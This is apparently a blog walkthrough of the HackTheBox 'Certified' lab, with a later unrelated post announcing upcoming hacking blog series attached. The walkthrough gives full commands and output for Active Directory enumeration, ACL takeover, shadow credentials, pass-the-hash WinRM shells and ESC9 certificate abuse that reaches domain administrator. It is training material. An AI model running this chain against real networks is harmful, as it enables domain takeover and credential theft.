[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -T5 -Pn -oA Initial -vvv -p 53,88,135,139,389,445,464,593,636,3268,3269,9389,49666,49668,49671,49674,49677,49716,49741,49774 10.10.11.41

Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 05:09 EST
Nmap scan report for certified.htb (10.10.11.41)
Host is up, received user-set (0.22s latency).
Scanned at 2025-01-22 05:09:36 EST for 109s

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-01-22 16:39:35Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2025-01-22T16:41:24+00:00; +6h30m01s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2025-01-22T16:41:24+00:00; +6h30m02s from scanner time.
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2025-01-22T16:41:24+00:00; +6h30m01s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-22T16:41:24+00:00; +6h30m02s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
| SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49677/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49716/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49741/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49774/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
OS fingerprint not ideal because: Timing level 5 (Insane) used
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.95%E=4%D=1/22%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=6790C44D%P=x86_64-pc-linux-gnu)
SEQ(SP=107%GCD=1%ISR=109%TI=I%II=I%SS=S%TS=U)
SEQ(SP=FE%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=U)
OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 50458/tcp): CLEAN (Timeout)
|   Check 2 (port 11875/tcp): CLEAN (Timeout)
|   Check 3 (port 12583/udp): CLEAN (Timeout)
|   Check 4 (port 47755/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-01-22T16:40:41
|_  start_date: N/A
|_clock-skew: mean: 6h30m00s, deviation: 2s, median: 6h30m00s

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   226.18 ms 10.10.14.1
2   226.40 ms certified.htb (10.10.11.41)

Nmap done: 1 IP address (1 host up) scanned in 112.03 seconds
           Raw packets sent: 104 (8.284KB) | Rcvd: 55 (2.992KB)

Note the mention of DC01.certified.htb in the output of multiple ports, so let’s add that into the hosts file:

croc@hacker:~$ sudo sed -i '$a10.10.11.41\tDC01.certified.htb certified.htb' /etc/hosts

Ldapdomaindump – 389/TCP

I started by looking at our environment and evaluating the attack surface:

croc@hacker$ sudo /usr/bin/ldapdomaindump ldap://10.10.11.41 -u 'CERTIFIED\judith.mader' -p 'judith09'  
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
                                                                                                                         
croc@hacker$ ls                      
domain_computers_by_os.html  domain_groups.grep  domain_policy.html  domain_trusts.json          domain_users.json
domain_computers.grep        domain_groups.html  domain_policy.json  domain_users_by_group.html
domain_computers.html        domain_groups.json  domain_trusts.grep  domain_users.grep
domain_computers.json        domain_policy.grep  domain_trusts.html  domain_users.html

croc@hacker$ firefox domain_users_by_group.html 

This gave me a clear understanding of all the users and groups on the target. I have the habit of creating a users.txt file that comes very handy afterwards when password spraying.

The ca_operator account presents some possibility of AD CS exploitation due to a clue in its name. Furthermore, I see the management_svc account to have WinRM access.

SMB – 139/445

I enumerated the available shares but none of them looked interesting to me. So, this is not the way to go for sure!

croc@hacker$ sudo nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09' --shares
SMB         10.10.11.41     445    NONE             [*]  x64 (name:) (domain:) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    NONE             [+] \judith.mader:judith09
SMB         10.10.11.41     445    NONE             [*] Enumerated shares
SMB         10.10.11.41     445    NONE             Share           Permissions     Remark
SMB         10.10.11.41     445    NONE             -----           -----------     ------
SMB         10.10.11.41     445    NONE             ADMIN$                          Remote Admin
SMB         10.10.11.41     445    NONE             C$                              Default share
SMB         10.10.11.41     445    NONE             IPC$            READ            Remote IPC
SMB         10.10.11.41     445    NONE             NETLOGON        READ            Logon server share
SMB         10.10.11.41     445    NONE             SYSVOL          READ            Logon server share

BloodHound

I dumped the .json configuration files using Python BloodHound Ingestor & uploaded the data in bloodhound.

croc@hacker$ python3 -m bloodhound -d certified.htb -u 'judith.mader' -p 'judith09' -ns 10.10.11.41 -c all
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.certified.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 47S
                                                                                   
croc@hacker$ ls
20250122051720_computers.json   20250122051720_groups.json
20250122051720_containers.json  20250122051720_ous.json
20250122051720_domains.json     20250122051720_users.json
20250122051720_gpos.json

Under first degree object control, I found that judith.mader has WriteOwner permissions over the management@certified.htb group. This means that we can make ourselves the owner of this group & move forward from there.

Shell as Management_svc

Take Ownership

I made judith.mader the owner of the management@certified.htb group. Furthermore, I also gave judith.mader full control over the group.

croc@hacker$ sudo impacket-owneredit -action write -new-owner 'judith.mader' -target 'management' -dc-ip 10.10.11.41 'certified.htb/judith.mader:judith09' 2>/dev/null 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

croc@hacker$ impacket-dacledit -action write -rights 'FullControl' -principal 'judith.mader' -target 'management' -dc-ip 10.10.11.41 'certified.htb/judith.mader:judith09' 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20250122-084900.bak
[*] DACL modified successfully!

BloodHound

As we have full control over the management@certified.htb group, it’s worth checking what potential pathways do we have in bloodhound. I found out that members of this group have GenericWrite privileges over the user account of management_svc.

💡 Think Box

Adding ourselves to the Management Group

I used bloodyAD to add judith.mader into the management group:

croc@hacker$ bloodyAD -u 'judith.mader' -p 'judith09' -d 'certified.htb' --host 10.10.11.41 add groupMember 'Management' 'judith.mader'
[+] judith.mader added to Management

Now, we can perform the shadow credentials attack as we have write privileges over management_svc which is a remote management user as well.

Shadow Credentials Attack

In summary, if a user has GenericWrite over another user object, it can modify the msDS-KeyCredentialLink attribute of that user to add their own public key. This allows us to perform a Shadow Credentials attack.

Now, as soon as we authenticate using the corresponding private key and certificate via PKINIT, we obtain a TGT as the target user.

After that, we can extract the NT hash using the TGT. Let’s put it all into action!

We will be using pywhisker for creating the shadow credentials along with PKINITtools in order to request the TGT and get the NT hash.

Step #01: Virtual Environment

It’s better to work in a virtual environment so that our main system remains unaffected:

virtualenv shadow
cd shadow
source ./bin/activate
git clone https://github.com/ShutdownRepo/pywhisker
git clone https://github.com/dirkjanm/PKINITtools/
python3 -m pip install -r pywhisker/requirements.txt -r PKINITtools/requirements.txt

Step #02: Generate Shadow Credentials

Using pywhisker, I modified the msDS-KeyCredentialLink attribute of management_svc while authenticating as judith.mader:

(shadow)croc@hacker$ python3 pywhisker/pywhisker/pywhisker.py -d 'certified.htb' -u 'judith.mader' -p 'judith09' --target 'management_svc' --action add

[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 
38127bd6-4f2a-d064-e4e3-e6e4e5b539c9
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: WldHpeku.pfx
[*] Must be used with password: dPy8eLovBBsTA4ucFZFI
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

Note that the associated private key and certificate are stored in the WldHpeku.pfx file using which we will request a TGT.

Step #03: Request a TGT

Using WldHpeku.pfx file generated above along with its password, I requested a TGT which is saved into the management_svc.ccache file.

(shadow)croc@hacker$ faketime "$(ntpdate -q 10.10.11.41 | cut -d ' ' -f 1,2)" python3 PKINITtools/gettgtpkinit.py -cert-pfx WldHpeku.pfx -pfx-pass dPy8eLovBBsTA4ucFZFI 'certified.htb/management_svc' management_svc.ccache

2025-01-22 17:44:01,163 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-01-22 17:44:01,320 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-01-22 17:44:12,884 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-01-22 17:44:12,884 minikerberos INFO     a53dfd2e95fa729f54179127e81c09b0c646daf2accde582684e49c8d362b92c
INFO:minikerberos:a53dfd2e95fa729f54179127e81c09b0c646daf2accde582684e49c8d362b92c
2025-01-22 17:44:13,140 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

I learned to use faketime alongside ntpdate to mitigate the KRB_AP_ERR_SKEW error from 0xCOFFEE. Additionally, it’s important to note the AS-REP encryption key value, as it will be required in the next step.

Step #04: NT Hash

Further, I used getnthash.py against the management_svc.ccache file(TGT) to request a service ticket for the current user using U2U. The KDC responded with the service ticket that contain the PAC, encrypted with the session key.

As the TGT used to request the service ticket was obtained via PKINIT, the PAC contains the NT hash of the authenticated user. Our goal is to extract that NT Hash!

Read more about that below:

UnPAC the hash | The Hacker Recipes
The Hacker Recipes is aimed at freely providing technical guides on various hacking topics
www.thehacker.recipes

Whole Process at a Glance(Source: Hacker Recipes)

Let’s put it all into action!

(shadow)croc@hacker$ export KRB5CCNAME=management_svc.ccache 
                                                                                                                         
(shadow)croc@hacker$ faketime "$(ntpdate -q 10.10.11.41 | cut -d ' ' -f 1,2)" python3 PKINITtools/getnthash.py -key a53dfd2e95fa729f54179127e81c09b0c646daf2accde582684e49c8d362b92c certified.htb/management_svc
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

We have successfully retrieved the NT hash of management_svc account. Have some dance lol!!!

Alternative – certipy-ad

An alternative way to perform the shadow credentials attack which is much more convenient is by using certipy-ad:

croc@hacker:~$ faketime "$(ntpdate -q 10.10.11.41 | cut -d ' ' -f 1,2)" certipy-ad shadow auto -username 'judith.mader@certified.htb' -p 'judith09' -account 'management_svc'   
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '9588457c-3627-8282-5932-ded69c8d8065'
[*] Adding Key Credential with device ID '9588457c-3627-8282-5932-ded69c8d8065' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '9588457c-3627-8282-5932-ded69c8d8065' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

WinRM as management_svc

As management_svc is a remote management user, we can gain evil-winrm shell access:

croc@hacker:~$ sudo evil-winrm -i 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584 
[sudo] password for croc: 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\management_svc\Documents>

User.txt

*Evil-WinRM* PS C:\Users\management_svc\Desktop> ls


    Directory: C:\Users\management_svc\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/22/2025  10:35 AM             34 user.txt


*Evil-WinRM* PS C:\Users\management_svc\Desktop> cat user.txt
43b7b********************************

Shell as Root

BloodHound

The user management_svc has GenericAll privileges over the user ca_operator.

This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish.

💡 Think Box

Since we’ve already explored the shadow credentials attack, I attempted targeted Kerberoasting. However, the extracted hash didn’t crack, so this approach wasn’t successful. Given this, resetting the password remains the most viable option.

Force Password Change

I used bloodyAD to change the password for ca_operator account to supportmeonPatreon while authenticating as management_svc:

croc@hacker:$ bloodyAD -u 'management_svc' -p 'ffffffffffffffffffffffffffffffff:a091c1832bcdd4677c28b5a6a1295584' -d certified.htb  --host 10.10.11.41 set password 'ca_operator' 'supportmeonPatreon'                          
[+] Password changed successfully!

You can also do that from the WinRM session we already have:

*Evil-WinRM* PS C:\Users\management_svc\Documents> net user 'ca_operator' 'supportmeonPatreon' /domain
The command completed successfully.

💡 Think Box

AD CS Enumeration

Identify AD CS

I used nxc with the adcs module and guess what, we actually have a AD CS in place.

croc@hacker:$ nxc ldap 10.10.11.41 -u 'ca_operator' -p 'supportmeonPatreon' -M adcs
LDAP        10.10.11.41     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\ca_operator:supportmeonPatreon 
ADCS        10.10.11.41     389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.10.11.41     389    DC01             Found PKI Enrollment Server: DC01.certified.htb
ADCS        10.10.11.41     389    DC01             Found CN: certified-DC01-CA

Misconfigured Certificate Templates

I used certipy-ad to find enabled and vulnerable certificate templates:

croc@hacker:$ certipy-ad find -u 'ca_operator' -p 'supportmeonPatreon' -dc-ip 10.10.11.41 -enabled -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'certified-DC01-CA'
[*] Saved BloodHound data to '20250122183515_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250122183515_Certipy.txt'
[*] Saved JSON output to '20250122183515_Certipy.json'

A template named CertifiedAuthentication was found of being vulnerable to ESC9:

croc@hacker:$ cat 20250122183515_Certipy.txt                                                               
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Property Principals       : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

Understanding ESC9

To understand ESC9, you need to understand certificate mapping. Note that this is gonna be just a high-level overview of what’s happening under the hood. For detailed understanding, refer to the resources at the end of this post.

Certificate Mapping

Normally, you use a username and a password to authenticate in Active Directory(AD). The DC will look up the AD account with a matching username and verify that the password you provided is correct for this account.

However, when you use a certificate instead of a password for authentication purposes, the DC will perform “Certificate Mapping” to verify that the certificate “maps” to the AD account you specified.

There are two types of certificate mapping: implicit and explicit. We’re only concerned with implicit certificate mapping in this case.

Implicit Certificate Mapping

Assume that a user bob enrolls a certificate from AD CS, the certificate authority(CA) includes his userPrincipalName or UPN in the othername field of the issued certificate. The othername field is an extension of SAN.

Now, when bob tries to authenticate with his username and the certificate, the DC checks if the certificate maps to Bob’s account by comparing the UPN in the othername field of the certificate with the UPN attribute stored in Bob’s AD account. This particular concept is called UPN Mapping.

Also note that computer accounts do not have a UPN, so in that case we use DNS Mapping, where the dnsHostName (DNS) attribute is used instead. This whole process is called Implicit Certificate Mapping.

The Attack

The following is the flow of the attack against weak implicit certificate mapping:

1. Modify the victim’s UPN/DNS attribute to match the target’s UPN/DNS or sAMAccountName.

2. Enroll a certificate as victim. This will cause the UPN/DNS of target be injected on the certificate. Revert the UPN value of victim account after enrolling the certificate.

3. Use the certificate to authenticate as target account.

Here’s an animation from Jonas Bülow Knudsen to illustrate that:

The Patch

Microsoft introduced the concept of “strong mapping” in order to address this issue. They made the Enterprise CAs add a new certificate extension (i.e., szOID_NTDS_CA_SECURITY_EXT) to new certificates containing the enrollee’s SID. This extension is commonly called SID or security extension. This extension enables the DC to verify that the account that enrolled the certificate is also the account the certificate maps to or otherwise disallow the authentication attempt.

Microsoft also introduced a new certificate template flag called NO_SECURITY_EXTENSION for the msPKI-Enrollment-Flag attribute of certificate templates.. If enabled, the enterprise CA avoids adding the SID extension to certificates of the given template.

In addition to that, for the purpose of enforcement of strong mapping, Microsoft released two new registry key values, StrongCertificateBindingEnforcement for Kerberos Authentication and CertificateMappingMethods for Schannel Authentication.

Abusing ESC9

Oliver Lyak discovered that the patch didn’t prevent his implicit certificate mapping exploit in its entirety. It was still possible under certain circumstances which he called ESC9 and ESC10.(We’ll only discuss ESC9)

Following are the requirements of ESC9:

  • Account A has GenericWrite over Account B
  • Certificate template has the NO_SECURITY_EXTENSION flag enabled
  • StrongCertificateBindingEnforcement set to 0/1 (Disabled/Compatibility) OR CertificateMappingMethods contains UPN flag

Privilege Escalation Chain

The privilege escalation chain in this case looks like this:

1. The user management_svc has GenericAll over ca_operator so change the UPN of ca_operator to administrator.

2. Request the certificate as ca_operator using the vulnerable template. This will cause the UPN of administrator be injected on the issued certificate.

3. Revert the UPN of ca_operator back to its original form so that the certificate doesn’t maps to this account when authenticating.

4. Authenticate as the Domain Administrator.

Step #01: Change the UPN

I changed the UPN of ca_operator to administrator. It couldn’t be administrator@certified.htb because that would conflict with the legitimate account, as UPNs must be unique to single accounts.

croc@hacker$ certipy-ad account update -username 'management_svc@certified.htb' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'Administrator'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : Administrator
[*] Successfully updated 'ca_operator'

Step#02: Request a Certificate using the Vulnerable Template

I requested a certificate using the above found vulnerable template as ca_operator. This will cause the UPN of administrator to be injected on to the certificate in the othername field.

croc@hacker$ certipy-ad req -u 'ca_operator@certified.htb' -p 'supportmeonPatreon' -ca 'certified-DC01-CA' -template 'CertifiedAuthentication'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 23
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Step #03: Restore the Changes

I reverted the UPN of ca_operator back to its original form so that when we authenticate using the administrator.pfx certificate, it doesn’t maps to this account.

croc@hacker$ certipy-ad account update -username 'management_svc@certified.htb' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'ca_operator@certified.htb'  
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

Step #04: Authenticate as Domain Administrator

Next, I used the certificate to authenticate as domain admin giving out the administrator’s NTLM hash:

croc@hacker$ certipy-ad auth -pfx administrator.pfx -domain 'certified.htb' -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

WinRM as Administrator

croc@hacker$ sudo evil-winrm -i 10.10.11.41 -u 'Administrator' -H '0d5b49608bbce1751f708748f67e2d34'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

Root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/22/2025   3:43 PM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
51ed5*********************

Resources


Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more! | by Oliver Lyak | IFCR
A new version of Certipy has been released along with a forked BloodHound GUI that has PKI support! In this blog post, we will look at some of the major new features of Certipy, which includes LDAPS…
research.ifcr.dk

Certificate templates | The Hacker Recipes
The Hacker Recipes is aimed at freely providing technical guides on various hacking topics
www.thehacker.recipes
Upcoming Blog series  –  2025/26

Upcoming Blog series – 2025/26

Strap in – We’re about to hack the future

Howdy Hackers! I hope you all are doing great!

As we dive into 2025, I’m thrilled to introduce you to the Upcoming Blog Series here at CrocHub. This marks the first “Chronicles” post rather than a technical one, and I’m keeping it casual to give you a sneak peek of what’s in store. My goal? To help you decide if the content I’m planning is worth your time (spoiler: it is 😁).

I’m dedicated to sharing valuable content with a writing style that’s so engaging and relatable that you’ll keep coming back for more. I want to create something you genuinely look forward to reading, and I promise you that it’s mostly going to be really practical hands-on stuff, along with the thought process behind every step, and some bad jokes (you’ve been warned lol). 

Without further ado, let’s dive into what’s coming your way!

CrocHub – What to Expect?

Following are the topics on which I will be starting a blog series:

1) Active Directory Hacking

Active Directory (AD) is a hacker’s playground—and for good reason.

Over 90% of the Fortune 1000 companies use AD in their IT infrastructure. That statistic alone highlights it’s importance when we talk about exploiting and assessing the security posture of an organization.

In this blog series, I will walk you through each and every attack possible in the GOAD(Game of Active Directory) lab. From the lab setup to exploitation and mitigations, I am here at your service!

This series will serve as a cornerstone for this blog & your ultimate war manual for AD battlefield. So, gear up and be excited!

2) Wifi Hacking

Wi-Fi networks are everywhere—and so are their vulnerabilities. From Coffee shops to enterprise setups, poorly configured wireless networks can be a hacker’s goldmine and a nightmare for the sysadmin.

As part of this series, we’ll set up a home wifi hacking lab and perform all the common wifi-related attacks while also learning the steps to secure and mitigate these vulnerabilities.

3) HTB/THM Writeups

Occasionally, I do plan on doing some detailed writeups of HackTheBox & TryHackme challenges. These will include all the necessary steps from boot to root while my key focus is going to be on the thought process behind every step. I’ll try to add as much context and details as possible which will help you learn how to think like a hacker.(Tho I am also still learning that😉)

I’ll be doing more of AD or Windows based boxes because that’s my strongest side.

4) Cheat Sheets

Cheat sheets are lifesavers, whether you’re on a real-life engagement or tackling a live exam. These can help you stay organized, streamline your workflow and avoid overlooking critical steps. I do plan on creating extensive cheat sheets on stuff like enumeration, privilege escalation, or what I feel like is beneficial.

Before ending up, I would like to share about my journey and my upcoming goals briefly.

From /dev/null to here

Backstory

My journey in cybersecurity began in the most unexpected way—after watching a Bollywood movie. The film tho was based on unrealistic simulations, it ignited a spark in me! It outlined the bad impact those malicious guys can have in our society, and more importantly, it fueled a deep curiosity to learn more about hacking so that I can contribute to make the online world a better place. As a result, I dived right in!

First Steps

